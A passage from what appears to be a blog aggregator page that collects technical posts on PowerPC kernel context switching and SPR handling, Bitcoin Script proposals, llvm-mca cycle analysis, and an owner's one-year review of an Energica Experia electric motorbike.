    The task context of the calls is fairly predictable: current in copy_thread() refers to the parent because we are still in the middle of copying it. For start_thread(), current refers to the task that is going to be the new program because it is just configuring itself.

    Where do exceptions/interrupts fit in?

    When a hardware interrupt triggers it just stops whatever it was doing and dumps us at the corresponding exception handler. Our current value still points to whatever task is active (restoring the PACA is done very early). If we were in userspace (MSRPR was 1) we consider ourselves to be in 'process context'. This is, in some sense, the default state in the kernel. We are able to sleep (i.e., invoke the scheduler and swap ourselves out), take locks, and generally do anything you might like to do in the kernel. This is in contrast to 'atomic context', where certain parts of the kernel expect to be executed without interruption or sleeping.

    However, we are a bit more restricted if we arrived at an interrupt from supervisor mode. For example, we don't know if we interrupted an atomic context, so we can't safely do anything that might cause sleep. This is why in some interrupt handlers like do_program_check() we have to check user_mode(regs) before we can read a userspace instruction7.


    1. Read more on tasks in my previous post 

    2. One example of the init task being special is that the kernel will not allow its process to be killed. It must always have at least one thread. 

    3. Well, it actually begins at a small assembly shim, but close enough for now. 

    4. The wait mechanism itself is an interesting example of interacting with the scheduler. Starting with a common struct completion object, the waiting task registers itself as awaiting the object to complete. Specifically, it adds its task handle to a queue on the completion object. It then loops calling schedule(), yielding itself to other tasks, until the completion object is flagged as done. Somewhere else another task marks the completion object as completed. As part of this, the task marking the completion tries to wake up any task that has registered itself as waiting earlier. 

    5. The cur_cpu_spec->cpu_restore machine specific initialisation is based on the machine that got selected in arch/powerpc/kernel/cpu_specs_book3s_64.h. This is where the __restore_cpu_* family of functions might be called, which mostly initialise certain SPRs to sane values. 

    6. Don't forget that the entire concept of tasks is made up by the kernel: from the hardware's point of view we haven't done anything interesting, just changed some registers. 

    7. The issue with reading a userspace instruction is that the page access may require the page be faulted in, which can sleep. There is a mechanism to disable the page fault handler specifically, but then we might not be able to read the instruction. 

    Wednesday, 28 February 2024

    Paul WayperThe Experia, one year on.

    On Friday, 1st March, it will be exactly one year since I walked into Zen Motorcycles, signed the paperwork, and got on my brand new Energica Experia electric motorbike. I then rode it back to Canberra, stopping at two places to charge along the way, but that was more in the nature of making sure - it could have done the trip on one better-chosen charging stop.

    I got a call yesterday from a guy who had looked at the Experia Bruce has at Zen and was considering buying one. I talked with him for about three quarters of an hour, going through my experience, and to sum it up simply I can just say: this is a fantastic motorbike.

    Firstly, it handles exactly like a standard motorbike - it handles almost exactly like my previous Triumph Tiger Sport 1050. But it is so much easier to ride. You twist the throttle and you go. You wind it back and you slow down. If you want to, the bike will happily do nought to 100km/hr in under four seconds. But it will also happily and smoothly glide along in traffic. It says "you name the speed, I'm happy to go". It's not temperamental or impatient; it has no weird points where the throttle suddenly gets an extra boost or where the engine braking suddenly drops off. It is simple to ride.

    As an aside, this makes it perfect for lane filtering. On my previous bike this would always be tinged with a frisson of danger - I had to rev it and ease the clutch in with a fair bit of power so I didn't accidentally stall it, but that always took some time. Now, I simply twist the throttle and I am ahead of the traffic - no danger of stalling, no delay in the clutch gripping, just power. It is much safer in that scenario.

    I haven't done a lot of touring yet, but I've ridden up to Gosford once and up to Sydney several times. This is where Energica really is ahead of pretty much every other electric motorbike on the market now - they do DC fast charging. And by 'fast charger' here I mean anything from 50KW up; the Energica can only take 25KW maximum anyway :-) But this basically means I have to structure any stops we do around where I can charge up - no more stopping in at the local pub or a cafe on a whim for morning tea. That has to either offer DC fast charging or I'm moving on - the 3KW onboard AC charger means a 22KW AC charger is useless to me. In the hour or two we might stop for lunch I'd only get another 60 - 80 kilometres more range on AC; on DC I would be done in less than an hour.

    But OTOH my experience so far is that structuring those breaks around where I can charge up is relatively easy. Most riders will furiously nod when I say that I can't sit in the seat for more than two hours before I really need to stretch the legs and massage the bum :-) So if that break is at a DC charger, no problems. I can stop at Sutton Forest or Pheasant's Nest or even Campbelltown and, in the time it takes for me to go to the toilet and have a bit of a coffee and snack break, the bike is basically charged and ready to go again.

    The lesson I've learned, though, is to always give it that bit longer and charge as much as I can up to 80%. It's tempting sometimes when I'm standing around in a car park watching the bike charge to move on and charge up a bit more at the next stop. The problem is that, with chargers still relatively rare and there often only being one or two at each site, a single charger not working can mean another fifty or even a hundred kilometres more riding. That's a quarter to half my range, so I cannot afford to risk that. Charge up and take a good book (and a spare set of headphones).

    In the future, of course, when there's a bank of a dozen DC fast chargers in every town, this won't be a problem. Charger anxiety only exists because they are still relatively rare. When charging is easy to find and always available, and there are electric forecourts like the UK is starting to get, charging stops will be easy and will fit in with my riding.

    Anyway.

    Other advantages of the Experia:

    You can get it with a complete set of Givi MonoKey top box and panniers. This means you can buy your own much nicer and more streamlined top box and it fits right on.

    Charging at home takes about six hours, so it's easy to do overnight. The Experia comes with an EVSE so you don't need any special charger at home. And really, since the onboard AC charger can only accept 3KW, there's hardly any point in spending much money on a home charger for the Experia.

    Minor niggles:

    The seat is a bit hard. I'm considering getting the EONE Canyon saddle, although I also just need to try to work out how to get underneath the seat to see if I can fit my existing sheepskin seat cover.

    There are a few occasional glitches in the display in certain rare situations. I've mentioned them to Energica, hopefully they'll be addressed.

    Overall rating:

    5 stars. Already recommending.

    Monday, 22 January 2024

    sthbrx - a POWER technical blogContext switching SPRs on PowerPC

    Introduction

    This post is a dive (well, more of a meander) through some of the PowerPC specific aspects of context switching, especially on the Special Purpose Register (SPR) handling. It was motivated by my recent work on adding kernel support for a hardware feature that interfaces with software through an SPR.

    What's a context anyway?

    The context we are concerned about in this post is the task context. That's all the state that makes up a 'task' in the eyes of the kernel. These are resources like registers, the thread ID, memory mappings, and so on. The kernel is able to save and restore this state into a task context data structure, allowing it to run arbitrarily many tasks concurrently despite the limited number of CPU cores available. It can simply save these resource values when switching out a task, and replace the CPU state with the values stored by the task being switched in.

    Unless you're a long time kernel developer, chances are you haven't heard of or looked too closely at a 'task' in the kernel. The next section gives a rundown of tasks and processes, giving you a better frame of reference for the later context switching discussion.

    Processes, threads, and tasks

    To understand the difference between these three concepts, we'll start with how the kernel sees everything: tasks. Tasks are the kernel's view of an 'executable unit' (think single threaded process), a self contained thread of execution that has a beginning, performs some operations, then (maybe) ends. They are the indivisible building blocks upon which multitasking and multithreading can be built, where multiple tasks run independently, or optionally communicate in some manner to distribute work.

    The kernel represents each task with a struct task_struct. This is an enormous struct (around 10KB) of all the pieces of data people have wanted to associate with a particular unit of execution over the decades. The architecture specific state of the task is stored in a one-to-one mapped struct thread_struct, available through the thread member in the task_struct. The name 'thread' when referring to this structure on a task should not be confused with the concept of a thread we'll visit shortly.

    A task is highly flexible in terms of resource sharing. Many resources, such as the memory mappings and file descriptor tables, are held through reference counted handles to a backing data structure. This makes it easy to mix-and-match sharing of different components between other tasks.

    Approaching tasks from the point of view of userspace, here we think of execution in terms of processes and threads. If you want an 'executable unit' in userspace, you are understood to be talking about a process or thread. These are implemented as tasks by the kernel though; a detail like running in userspace mode on the CPU is just another property stored in the task struct.

    For an example of how tasks can either copy or share their parent's resources, consider what happens when creating a child process with the fork() syscall. The child will share memory and open files at the time of the fork, but further changes to these resources in either process are not visible to the other. At the time of the fork, the kernel simply duplicates the parent task and replaces relevant resources with copies of the parent's values1.

    It is often useful to have multiple processes share things like memory and open files though: this is what threads provide. A process can be 'split' into multiple threads2, each backed by its own task. These threads can share resources that are normally isolated between processes.

    This thread creation mechanism is very similar to process creation. The clone() family of syscalls allow creating a new thread that shares resources with the thread that cloned itself. Exactly what resources get shared between threads is highly configurable, thanks to the kernel's task representation. See the clone(2) manpage for all the options. Creating a process can be thought of as creating a thread where nothing is shared. In fact, that's how fork() is implemented under the hood: the fork() syscall is implemented as a thin wrapper around clone()'s implementation where nothing is shared, including the process group ID.

    // kernel/fork.c  (approximately)
    
    SYSCALL_DEFINE0(fork)
    {
        struct kernel_clone_args args = {
            .exit_signal = SIGCHLD,
        };
    
        return kernel_clone(&args);
    }
    
    SYSCALL_DEFINE2(clone3, struct clone_args __user *, uargs, size_t, size)
    {
        int err;
    
        struct kernel_clone_args kargs;
        pid_t set_tid[MAX_PID_NS_LEVEL];
    
        kargs.set_tid = set_tid;
    
        err = copy_clone_args_from_user(&kargs, uargs, size);
        if (err)
            return err;
    
        if (!clone3_args_valid(&kargs))
            return -EINVAL;
    
        return kernel_clone(&kargs);
    }
    
    pid_t kernel_clone(struct kernel_clone_args *args) {
        // do the clone
    }
    

    That's about it for the differences in processes, threads, and tasks from the point of view of the kernel. A key takeaway here is that, while you will often see processes and threads discussed with regards to userspace programs, there is very little difference under the hood. To the kernel, it's all just tasks with various degrees of shared resources.

    Special Purpose Registers (SPRs)

    As a final prerequisite, in this section we look at SPRs. The SPRs are CPU registers that, to put it simply, provide a catch-all set of functionalities for interacting with the CPU. They tend to affect or reflect the CPU state in various ways, though are very diverse in behaviour and purpose. Some SPRs, such as the Link Register (LR), are similar to GPRs in that you can read and write arbitrary data. They might have special interactions with certain instructions, such as the LR value being used as the branch target address of the blr (branch to LR) instruction. Others might provide a way to view or interact with more fundamental CPU state, such as the Authority Mask Register (AMR) which the kernel uses to disable accesses to userspace memory while in supervisor mode.

    Most SPRs are per-CPU, much like GPRs. And, like GPRs, it makes sense for many of them to be tracked per-task, so that we can conceptually treat them as a per-task resource. But, depending on the particular SPR, writing to them can be slow. The highly used data-like SPRs such as LR, CTR (Count Register), etc., are possible to rename, making them comparable to GPRs in terms of read/write performance. But others that affect the state of large parts of the CPU core, such as the Data Stream Control Register (DSCR), can take a while for the effects of changing them to be applied. Well, not so slow that you will notice the occasional access, but there's one case in the kernel that occurs extremely often and needs to change a lot of these SPRs to support our per-task abstraction: context switches.

    Anatomy of a context switch

    Here we'll explore the actual function behind performing a context switch. We're interested in the SPR handling especially, because that's going to inform how we start tracking a new SPR on a per-task basis, so we'll be skimming over a lot of unrelated aspects.

    We start our investigation in the aptly named context_switch() function in kernel/sched/core.c.

    // kernel/sched/core.c
    
    /*
     * context_switch - switch to the new MM and the new thread's register state.
     */
    static __always_inline struct rq *
    context_switch(struct rq *rq, struct task_struct *prev,
                   struct task_struct *next, struct rq_flags *rf)
    

    Along with some scheduling metadata, we see it takes a previous task and a next task. As we discussed above, the struct task_struct type describes a unit of execution that defines (among other things) how to set up the state of the CPU.

    This function starts off with some generic preparation and memory context changes3, before getting to the meat of the function with switch_to(prev, next,prev). This switch_to() call is actually a macro, which unwraps to a call to __switch_to(). It's also at this point that we enter the architecture specific implementation.

    // arch/powerpc/include/asm/switch_to.h  (switch_to)
    // arch/powerpc/kernel/process.c         (__switch_to)
    
    struct task_struct *__switch_to(struct task_struct *prev,
                                    struct task_struct *new)
    

    Here we've only got our previous and next tasks to work with, focusing on just doing the switch.

    Once again, we'll skip through most of the implementation. You'll see a few odds and ends being handled: asserting we won't be taking any interrupts, handling some TLB flushing, a copy-paste edge case, and some breakpoint handling on certain platforms. Then we reach what we were looking for: save_sprs(). The relevant section looks something like as follows

        /*
         * We need to save SPRs before treclaim/trecheckpoint as these will
         * change a number of them.
         */
        save_sprs(&prev->thread);
    
        /* Save FPU, Altivec, VSX and SPE state */
        giveup_all(prev);
    
        __switch_to_tm(prev, new);
    
        if (!radix_enabled()) {
            /*
             * We can't take a PMU exception inside _switch() since there
             * is a window where the kernel stack SLB and the kernel stack
             * are out of sync. Hard disable here.
             */
            hard_irq_disable();
        }
    
        /*
         * Call restore_sprs() and set_return_regs_changed() before calling
         * _switch(). If we move it after _switch() then we miss out on calling
         * it for new tasks. The reason for this is we manually create a stack
         * frame for new tasks that directly returns through ret_from_fork() or
         * ret_from_kernel_thread(). See copy_thread() for details.
         */
        restore_sprs(old_thread, new_thread);
    

    The save_sprs() function itself does the following to its prev->thread argument.

    // arch/powerpc/kernel/process.c
    
    static inline void save_sprs(struct thread_struct *t)
    {
    #ifdef CONFIG_ALTIVEC
        if (cpu_has_feature(CPU_FTR_ALTIVEC))
            t->vrsave = mfspr(SPRN_VRSAVE);
    #endif
    #ifdef CONFIG_SPE
        if (cpu_has_feature(CPU_FTR_SPE))
            t->spefscr = mfspr(SPRN_SPEFSCR);
    #endif
    #ifdef CONFIG_PPC_BOOK3S_64
        if (cpu_has_feature(CPU_FTR_DSCR))
            t->dscr = mfspr(SPRN_DSCR);
    
        if (cpu_has_feature(CPU_FTR_ARCH_207S)) {
            t->bescr = mfspr(SPRN_BESCR);
            t->ebbhr = mfspr(SPRN_EBBHR);
            t->ebbrr = mfspr(SPRN_EBBRR);
    
            t->fscr = mfspr(SPRN_FSCR);
    
            /*
             * Note that the TAR is not available for use in the kernel.
             * (To provide this, the TAR should be backed up/restored on
             * exception entry/exit instead, and be in pt_regs.  FIXME,
             * this should be in pt_regs anyway (for debug).)
             */
            t->tar = mfspr(SPRN_TAR);
        }
    
        if (cpu_has_feature(CPU_FTR_DEXCR_NPHIE))
            t->hashkeyr = mfspr(SPRN_HASHKEYR);
    #endif
    }
    

    Later, we set up the SPRs of the new task with restore_sprs():

    // arch/powerpc/kernel/process.c
    
    static inline void restore_sprs(struct thread_struct *old_thread,
                    struct thread_struct *new_thread)
    {
    #ifdef CONFIG_ALTIVEC
        if (cpu_has_feature(CPU_FTR_ALTIVEC) &&
            old_thread->vrsave != new_thread->vrsave)
            mtspr(SPRN_VRSAVE, new_thread->vrsave);
    #endif
    #ifdef CONFIG_SPE
        if (cpu_has_feature(CPU_FTR_SPE) &&
            old_thread->spefscr != new_thread->spefscr)
            mtspr(SPRN_SPEFSCR, new_thread->spefscr);
    #endif
    #ifdef CONFIG_PPC_BOOK3S_64
        if (cpu_has_feature(CPU_FTR_DSCR)) {
            u64 dscr = get_paca()->dscr_default;
            if (new_thread->dscr_inherit)
                dscr = new_thread->dscr;
    
            if (old_thread->dscr != dscr)
                mtspr(SPRN_DSCR, dscr);
        }
    
        if (cpu_has_feature(CPU_FTR_ARCH_207S)) {
            if (old_thread->bescr != new_thread->bescr)
                mtspr(SPRN_BESCR, new_thread->bescr);
            if (old_thread->ebbhr != new_thread->ebbhr)
                mtspr(SPRN_EBBHR, new_thread->ebbhr);
            if (old_thread->ebbrr != new_thread->ebbrr)
                mtspr(SPRN_EBBRR, new_thread->ebbrr);
    
            if (old_thread->fscr != new_thread->fscr)
                mtspr(SPRN_FSCR, new_thread->fscr);
    
            if (old_thread->tar != new_thread->tar)
                mtspr(SPRN_TAR, new_thread->tar);
        }
    
        if (cpu_has_feature(CPU_FTR_P9_TIDR) &&
            old_thread->tidr != new_thread->tidr)
            mtspr(SPRN_TIDR, new_thread->tidr);
    
        if (cpu_has_feature(CPU_FTR_DEXCR_NPHIE) &&
            old_thread->hashkeyr != new_thread->hashkeyr)
            mtspr(SPRN_HASHKEYR, new_thread->hashkeyr);
    #endif
    
    }
    

    The gist is we first perform a series of mfspr operations, saving the SPR values of the currently running task into its associated task_struct. Then we do a series of mtspr operations to restore the desired values of the new task back into the CPU.

    This procedure has two interesting optimisations, as explained by the commit that introduces save_sprs() and restore_sprs():

    powerpc: Create context switch helpers save_sprs() and restore_sprs()

    Move all our context switch SPR save and restore code into two helpers. We do a few optimisations:

    • Group all mfsprs and all mtsprs. In many cases an mtspr sets a scoreboarding bit that an mfspr waits on, so the current practise of mfspr A; mtspr A; mfpsr B; mtspr B is the worst scheduling we can do.

    • SPR writes are slow, so check that the value is changing before writing it.

    And that's basically it, as far as the implementation goes at least. When first investigating this one question that kept nagging me was: why do we read these values here, instead of tracking them as they are set? I can think of several reasons this might be done:

    1. It's more robust to check at the time of swap what the current value is. You otherwise risk that a single inline assembly mtspr in a completely different part of the codebase breaks context switching. It would also mean that every mtspr would have to disable interrupts, lest the context switch occurs between the mtspr and recording the change in the task struct.
    2. It might be faster. Changing an SPR would need an accompanying write to the task struct. This is pessimistic if there are many such changes to the SPR between context switches.
    3. Even if you were to track every mtspr correctly, certain SPRs can be changed by userspace without kernel assistance. Some of these SPRs are also unused by the kernel, so saving them with the GPRs would be pessimistic (a waste of time if the task ends up returning back to userspace without swapping). For example, VRSAVE is an unprivileged scratch register that the kernel doesn't make use of.

    Did you catch the issue with restore_sprs()?

    If you paid close attention, you might have noticed that the previous task being passed to restore_sprs() is not the same as the one being passed to save_sprs(). We have the following instead

    struct task_struct *__switch_to(struct task_struct *prev,
        struct task_struct *new)
    {
        // ...
        new_thread = &new->thread;
        old_thread = &current->thread;
        // ...
        save_sprs(&prev->thread);             // using prev->thread
        // ...
        restore_sprs(old_thread, new_thread); // using old_thread (current->thread)
        // ...
        last = _switch(old_thread, new_thread);
        // ...
        return last;
    }
    

    What gives? As far as I can determine, we require that the prev argument to __switch_to is always the currently running task (as opposed being in some dedicated handler or ill-defined task state during the switch). And on PowerPC, we can access the currently running task's thread struct through the current macro. So, in theory, current->thread is an alias for prev->thread. Anything else wouldn't make any sense here, as we are storing the SPR values into prev->thread, but making decisions about their values in restore_sprs() based on the current->thread saved values.

    As for why we use both, it appears to be historical. We originally ran restore_sprs() after _switch(), which finishes swapping state from the original thread to the one being loaded in. This means our stack and registers are swapped out, so our prev variable we stored our current SPRs in is lost to us: it is now the prev of the task we just woke up. In fact, we've completely lost any handle to the task that just swapped itself out. Well, almost: that's where the last return value of _switch() comes in. This is a handle to the task that just went to sleep, and we were originally reloading old_thread based on this last value. However a future patch moved restore_sprs() to above the _switch() call thanks to an edge case with newly created tasks, but the use of old_thread apparently remained.

    Conclusion

    Congratulations, you are now an expert on several of the finer details of context switching on PowerPC. Well, hopefully you learned something new and/or interesting at least. I definitely didn't appreciate a lot of the finer details until I went down the rabbit hole of differentiating threads, processes, and tasks, and the whole situation with prev vs old_thread.

    Bonus tidbit

    This is completely unrelated, but the kernel's implementation of doubly-linked lists does not follow the classic implementation, where a list node contains a next, previous, and data pointer. No, if you look at the actual struct definition you will find

    struct hlist_node {
        struct hlist_node *next, **pprev;
    };
    

    which decidedly does not contain any data component.

    It turns out that the kernel expects you to embed the node as a field on the data struct, and the data-getter applies a mixture of macro and compiler builtin magic to do some pointer arithmetic to convert a node pointer into a pointer to the structure it belongs to. Naturally this is incredibly type-unsafe, but it's elegant in its own way.


    1. While this is conceptually what happens, the kernel can apply tricks to avoid the overhead of copying everything up front. For example, memory mappings apply copy-on-write (COW) to avoid duplicating all of the memory of the parent process. But from the point of view of the processes, it is no longer shared. 

    2. Or you could say that what we just called a 'process' is a thread, and the 'process' is really a process group initially containing a single thread. In the end it's semantics that don't really matter to the kernel though. Any thread/process can create more threads that can share resources with the parent. 

    3. Changing the active memory mapping has no immediate effect on the running code due to address space quadrants. In the hardware, the top two bits of a 64 bit effective address determine what memory mapping is applied to resolve it to a real address. If it is a userspace address (top two bits are 0) then the configured mapping is used. But if it is a kernel address (top two bits are 1) then the hardware always uses whatever mapping is in place for process ID 0 (the kernel knows this, so reserves process ID 0 for this purpose and does not allocate it to any userspace tasks). So our change to the memory mapping only applies once we return to userspace, or try to access memory through a userspace address (through get_user() and put_user()). The hypervisor has similar quadrant functionality, but different rules. 

    Thursday, 18 January 2024

    Rusty RussellRestoring Bitcoin’s Full Script Power

    In my previous posts I’ve been carefully considering what bitcoin Script improvements we might want if we had introspection. Script was hobbled back in v0.3.1 due to denial-of-service issues: this has been a long-ongoing source of regret, but functions like OP_TXHASH bring Script limitations into clear focus.

    Ye Olde Bitcoin Script

    Most people know that Satoshi disabled OP_CAT and a few other opcodes in v0.3.1, but Anthony Towns pointed out that until v0.3 bitcoin also allowed arbitrary size numbers using the OpenSSL BIGNUM type.

    This was early in the project, and I completely understand the desire to avoid DoS immediately and clearly, and restore functionality later once the issues were carefully considered. Unfortunately, the difficult nature of Script enhancements was not deeply appreciated until years later, so here we are!

    A Varops Budget: Full Script Restoration Without Denial of Service

    BIP-342 replaced the global signature limit with a sigops budget based on weight, designed to be ample for any reasonable signature validation (such as might be produced by miniscript), yet limited enough to avoid denial of service.

    We can use the approach for other operations whose expense is related to their operand size, and similarly remove existing arbitrary limits in script. I call this a “varops” budget, as it applies to operations on variable-length operands.

    My draft proposal sets the varops budget as simple:

    • The transaction weight multiplied by 520.

    This ensures that even if the budget were enforced on existing scripts, no script could conceivably fall short (e.g. each OP_SHA256 can always operate on the maximal-size stack object, with its own opcode weight supporting that budget).

    Note: the budget is for the entire transaction, not per input: this is in anticipation of introspection opcodes which mean that a fairly short script may nonetheless want to examine other inputs which may be much larger.

    The consumption of the various opcodes is as follows (anything not listed doesn’t have a cost):

    Opcode Varops Budget Cost
    OP_CAT 0
    OP_SUBSTR 0
    OP_LEFT 0
    OP_RIGHT 0
    OP_INVERT 1 + len(a) / 8
    OP_AND 1 + MAX(len(a), len(b)) / 8
    OP_OR 1 + MAX(len(a), len(b)) / 8
    OP_XOR 1 + MAX(len(a), len(b)) / 8
    OP_2MUL 1 + len(a) / 8
    OP_2DIV 1 + len(a) / 8
    OP_ADD 1 + MAX(len(a), len(b)) / 8
    OP_SUB 1 + MAX(len(a), len(b)) / 8
    OP_MUL (1 + len(a) / 8) * (1 + len(b) / 8
    OP_DIV (1 + len(a) / 8) * (1 + len(b) / 8
    OP_MOD (1 + len(a) / 8) * (1 + len(b) / 8
    OP_LSHIFT 1 + len(a) / 8
    OP_RSHIFT 1 + len(a) / 8
    OP_EQUAL 1 + MAX(len(a), len(b)) / 8
    OP_NOTEQUAL 1 + MAX(len(a), len(b)) / 8
    OP_SHA256 1 + len(a)
    OP_RIPEMD160 0 (fails if len(a) > 520 bytes)
    OP_SHA1 0 (fails if len(a) > 520 bytes)
    OP_HASH160 1 + len(a)
    OP_HASH256 1 + len(a)

    Removal Of Other Limits

    Ethan Heilman’s proposal for restoring OP_CAT maintained a limit of 520 bytes for the result. This can now be removed, in favor of a total stack limit already valid for taproot v1 (1000 elements and 520,000 bytes).

    Further, if we were to introduce a new segwit version (such as Anthony Towns’ generalized taproot] or just to allow keyless entry, we can lift these limits to reasonable blocksize maxima (perhaps 10,000 elements totalling 4M bytes).

    Minor Changes to Semantics

    Values are still little-endian, but unsigned. This simplifies implementation and makes the interaction of bit operations and arithmetic operations far simpler. It allows existing positive numbers to use these opcodes without modification, not requiring conversion.

    If a new segwit version were used, existing opcodes can be replaced, otherwise, new opcodes (e.g. OP_ADDV) would be added.

    Implementation Details

    The v0.3.0 implementation used a simple class wrapper of OpenSSL’s BIGNUM type, but for maximum clarity and simplicity I reimplemented each operation without external dependencies.

    Except for OP_EQUAL/OP_EQUALVERIFY, each one converts to and from a little-wordian vector of uint64_t. This could be optimized by doing conversion on demand.

    OP_DIV, OP_MOD and OP_MUL are implemented naively (comparison with libgmp’s big number operations shows more sophisticated approaches are astronomically faster).

    Benchmarks: Are Limits Low Enough To Prevent DoS?

    Are Limits High Enough to Be Ignored?

    We can remove the 520 byte limit

    We still require a limit on total stack size: with a new segwit version this could be raised to 4000000, or left at 520,000 as per the current limit.

    After I’ve had a series of posts looking at Script improvements.

    In my previous post on Examing scriptpubkeys in Script I pointed out that there are cases where we want to require a certain script condition, but not an exact script: an example would be a vault-like covenant which requires a delay, but doesn’t care what else is in the script.

    The problem with this is that in Taproot scripts, any unknown opcode (OP_SUCCESSx) will cause the entire script to succeed without being executed, so we need to hobble this slightly. My previous proposal of some kind of separator was awkward, so I’ve developed a new idea which is simpler.

    Introducing OP_SEGMENT

    Currently, the entire tapscript is scanned for the OP_SUCCESS opcodes, and succeeds immediately if one it found. This would be modified:

    1. The tapscript is scanned for either OP_SEGMENT or OP_SUCCESSx.
    2. If OP_SEGMENT is found, the script up to that point is executed. If the script does not fail, scanning continues from that point.
    3. If OP_SUCCESSx is found, the script succeeds.

    This basically divides the script into segments, each executed serially. It’s not quite as simple as “cut into pieces by OP_SEGMENT and examine one at a time” because the tapscript is allowed to contain things which would fail to decode altogether, after an OP_SUCCESSx, and we want to retain that property.

    When OP_SEGMENT is executed, it does nothing: it simply limits the range of OP_SUCCESS opcodes.

    Implementation

    The ExecuteWitnessScript would have to be refactored (probably as a separate ExecuteTapScript since 21 of its 38 lines are an “if Tapscript” anyway), and it also implies that the stack limits for the current tapscript would be enforced upon encountering OP_SEGMENT, even if OP_SUCCESS were to follow after.

    Interestingly, the core EvalScript function wouldn’t change except to ignore OP_SEGMENT, as it’s already fairly flexible.

    Note that I haven’t implemented it yet, so there may yet be surprises, but I plan to prototype after the idea has received some review!

    Enjoy!

    Monday, 15 January 2024

    Rusty RussellPay-to-Tapscript: Keyless Entry For Better Future Scripting

    BIP-341 defines Taproot outputs as either a single key, or a key and some script info. You use a dummy key if you only want to use the script. This “tapscript” is currently very similar to Segwit v0 P2WSH, but carefully defined to be easily upgradable.

    Unfortunately, when we actually try to use this upgrade flexibility (for OP_CHECKTEMPLATEVERIFY or OP_TXHASH for example) we quickly find as Steven Roose pointed out to me that users also want a neutered Segwit v0 variant: using Tapscript requires a 33 byte penalty over simple P2WSH!

    The fix is both simple and annoying: allowing the BIP-341 control block to be empty (or, perhaps, 32*m bytes) to indicate the key is the NUMS point lift_x(0x50929b74c1a04954b78b4b6035e97a5e078a5a0f28ec96d547bfee9ace803ac0) as suggested by BIP-341. BIP-341 suggests using a tweak of this key, which hides the existence of the script (if it were guessable) but forcing this at users expense was a mistake given the existence of P2WSH.

    Regrettably, allowing this simple change requires (I think) using a Segwit version of 2, since BIP-341 defines v1 to fail if the control block is not an accepted length. Others might have an idea if we want to roll in other changes at that point.

    Enjoy!

    Saturday, 13 January 2024

    Stewart SmithUsing llvm-mca for predicting CPU cycle impact of code changes

    Way back in the distant past, when the Apple ][ and the Commodore 64 were king, you could read the manual for a microprocessor and see how many CPU cycles each instruction took, and then do the math as to how long a sequence of instructions would take to execute. This cycle counting was used pretty effectively to do really neat things such as how you’d get anything on the screen from an Atari 2600. Modern CPUs are… complex. They can do several things at once, in a different order than what you wrote them in, and have an interesting arrangement of shared resources to allocate.

    So, unlike with simpler hardware, if you have a sequence of instructions for a modern processor, it’s going to be pretty hard to work out how many cycles that could take by hand, and it’s going to differ for each micro-architecture available for the instruction set.

    When designing a microprocessor, simulating what a series of existing instructions will take to execute compared to the previous generation of microprocessor is pretty important. The aim should be for it to take less time or energy or some other metric that means your new processor is better than the old one. It can be okay if processor generation to generation some sequence of instructions take more cycles, if your cycles are more frequent, or power efficient, or other positive metric you’re designing for.

    Programmers may want this simulation too, as some code paths get rather performance critical for certain applications. Open Source tools for this aren’t as prolific as I’d like, but there is llvm-mca which I (relatively) recently learned about.

    llvm-mca is a performance analysis tool that uses information available in LLVM (e.g. scheduling models) to statically measure the performance of machine code in a specific CPU.

    the llvm-mca docs

    So, when looking at an issue in the IPv6 address and connection hashing code in Linux last year, and being quite conscious of modern systems dealing with a LOT of network packets, and thus this can be quite CPU usage sensitive, I wanted to make sure that my suggested changes weren’t going to have a large impact on performance – across the variety of CPU generations in use.

    There’s two ways to do this: run everything, throw a lot of packets at something, and measure it. That can be a long dev cycle, and sometimes just annoying to get going. It can be a lot quicker to simulate the small section of code in question and do some analysis of it before going through the trouble of spinning up multiple test environments to prove it in the real world.

    So, enter llvm-mca and the ability to try and quickly evaluate possible changes before testing them. Seeing as the code in question was nicely self contained, I could easily get this to a point where I could easily get gcc (or llvm) to spit out assembler for it separately from the kernel tree. My preference was for gcc as that’s what most distros end up compiling Linux with, including the Linux distribution that’s my day job (Amazon Linux).

    In order to share the results of the experiments as part of the discussion on where the code changes should end up, I published the code and results in a github project as things got way too large to throw on a mailing list post and retain sanity.

    I used a container so that I could easily run it in a repeatable isolated environment, as well as have others reproduce my results if needed. Different compiler versions and optimization levels will very much produce different sequences of instructions, and thus possibly quite different results. This delta in compiler optimization levels is partially why the numbers don’t quite match on some of the mailing list messages, although the delta of the various options was all the same. The other reason is learning how to better use llvm-mca to isolate down the exact sequence of instructions I was caring about (and not including things like the guesswork that llvm-mca has to do for branches).

    One thing I learned along the way is how to better use llvm-mca to get the results that I was looking for. One trick is to very much avoid branches, as that’s going to be near complete guesswork as there’s not a simulation of the branch predictor (at least in the version I was using.

    The big thing I wanted to prove: is doing the extra work having a small or large impact on number of elapsed cycles. The answer was that doing a bunch of extra “work” was essentially near free. The CPU core could execute enough things in parallel that the incremental cost of doing extra work just… wasn’t relevant.

    This helped getting a patch deployed without impact to performance, as well as get a patch upstream, fixing an issue that was partially fixed 10 years prior, and had existed since day 1 of the Linux IPv6 code.

    Naturally, this wasn’t a solo effort, and that’s one of the joys of working with a bunch of smart people – both at the same company I work for, and in the broader open source community. It’s always humbling when you’re looking at code outside your usual area of expertise that was written (and then modified) by Really Smart People, and you’re then trying to fix a problem in it, while trying to learn all the implications of changing that bit of code.

    Anyway, check out llvm-mca for your next adventure into premature optimization, as if you’re going to get started with evil, you may as well start with what’s at the root of all of it.

    Sunday, 7 January 2024

    Rusty RussellTransaction Stacking for Covenant Fee Minimization

    As I explore the use of Bitcoin Script for introspection, I am not overly concerned with total script size, because if common usage patterns emerge those can be soft-forked into new opcodes, or new address types. But I have been concerned with constructions which require the use of Child-Pays-For-Parent for fee paying, as that makes the transaction significantly more expensive than using inline fees and Replace-By-Fee.

    Lightning uses this kind of “anchor” construction, and although it’s only used in the forced-closure case, it’s wasteful of onchain space when it happens. It also uses a “bring your own fee” construction for HTLC transactions, using SIGHASH_SINGLE|SIGHASH_ANYONECANPAY which means only the input and outputs are fixed, and the operation of this is much smoother in general.

    (It’s not coincidence that my main contribution to the Eltoo construction was to use a similar single-input/output scheme to allow such last-minute fee binding and RBF).

    More recently, Peter Todd argues that such inefficient fee bumping is a threat to decentralization as it creates significant incentive to use out-of-band fees, which would have to be paid in advance and thus would favor large miners.

    Stacking Transactions: Adding Fees Later

    If you carefully construct your covenant to allow addition of a fee input (and usually a change output) later, you can avoid the expense of a child transaction and put the fees inline.

    If you’re really clever, you can combine multiple covenant transactions into one transaction, and add a fee input/change output to all of them at once and reduce total costs even more. I call this stacking, and my thesis is that Bitcoin fees will rise and eventually make such joining profitable, normal and necessary.

